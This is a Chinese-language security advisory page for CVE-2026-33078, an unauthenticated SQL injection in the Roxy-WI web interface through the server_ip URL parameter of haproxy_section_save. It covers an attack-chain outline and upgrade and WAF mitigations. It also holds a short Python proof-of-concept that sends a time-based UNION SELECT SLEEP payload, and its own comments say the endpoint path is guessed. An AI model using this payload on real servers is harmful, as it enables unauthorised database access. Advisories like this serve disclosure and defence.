IPBUF安全漏洞报告
English
CVE-2026-33078 CVSS 9.8 严重

CVE-2026-33078 Roxy-WI存在SQL注入漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-33078
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Roxy-WI

相关标签

SQL注入Roxy-WIWeb安全严重漏洞

漏洞概述

Roxy-WI是一款用于管理Haproxy、Nginx、Apache及Keepalived服务器的Web界面。在8.2.6.4版本之前,该系统存在严重的SQL注入漏洞。由于未对URL路径中的参数进行有效过滤,攻击者无需经过身份认证即可利用该漏洞执行任意SQL命令。这可能导致数据库敏感信息泄露、数据篡改,甚至在特定环境下导致服务器被完全控制。建议管理员尽快检查并升级至安全版本以修复此风险。

技术细节

该漏洞源于Roxy-WI的`app/routes/config/routes.py`文件中的`haproxy_section_save`函数。系统在处理配置保存请求时,直接从URL路径中提取`server_ip`参数,且未对该参数进行任何安全过滤或消毒处理。该参数经过多次函数传递后,最终被直接拼接到SQL查询语句中(使用Python字符串格式化)。由于缺乏预编译或参数化查询,攻击者可以通过构造恶意的URL参数,注入恶意的SQL代码。结合CVSS向量分析,此漏洞利用无需用户交互和认证,攻击难度低,且可能导致机密性、完整性和可用性的全面丧失。攻击者只需发送特制的HTTP请求即可触发漏洞,获取数据库敏感信息或进一步接管服务器权限。此类漏洞通常允许攻击者绕过认证、读取敏感数据或执行管理操作。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器运行的是Roxy-WI,且版本低于8.2.6.4。
STEP 2
武器化
攻击者构造包含恶意SQL语句的Payload,针对URL路径中的`server_ip`参数。
STEP 3
交付
攻击者向目标服务器发送特制的HTTP请求,将恶意Payload注入到URL路径中。
STEP 4
利用
服务器后端`haproxy_section_save`函数接收参数,将其直接拼接到SQL查询中并执行,导致SQL注入。
STEP 5
影响
攻击者成功执行任意SQL命令,获取敏感数据、篡改数据库或进一步控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://target-ip:port/haproxy_section_save" # Malicious payload for SQL Injection based on the description # The 'server_ip' parameter is vulnerable payload = "1' UNION SELECT SLEEP(5), version(), user()-- -" # Assuming the parameter is passed via URL path or query # Based on description: "sourced from the URL path" # Example structure: /config/save/{server_ip} exploit_url = f"{target_url}/{payload}" try: print(f"[*] Sending payload to: {exploit_url}") response = requests.get(exploit_url, timeout=10) # Check if the response time indicates a successful time-based blind SQL injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection triggered time-based delay.") else: print("[-] Test completed. Check response manually for errors or data leakage.") print(response.text[:200]) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Roxy-WI < 8.2.6.4

防御指南

临时缓解措施
建议立即将Roxy-WI升级至8.2.6.4或更高版本。在无法立即升级的情况下,应限制对Web管理界面的网络访问,仅允许受信任的IP地址连接,并部署Web应用防火墙(WAF)规则以拦截针对`server_ip`参数的SQL注入攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表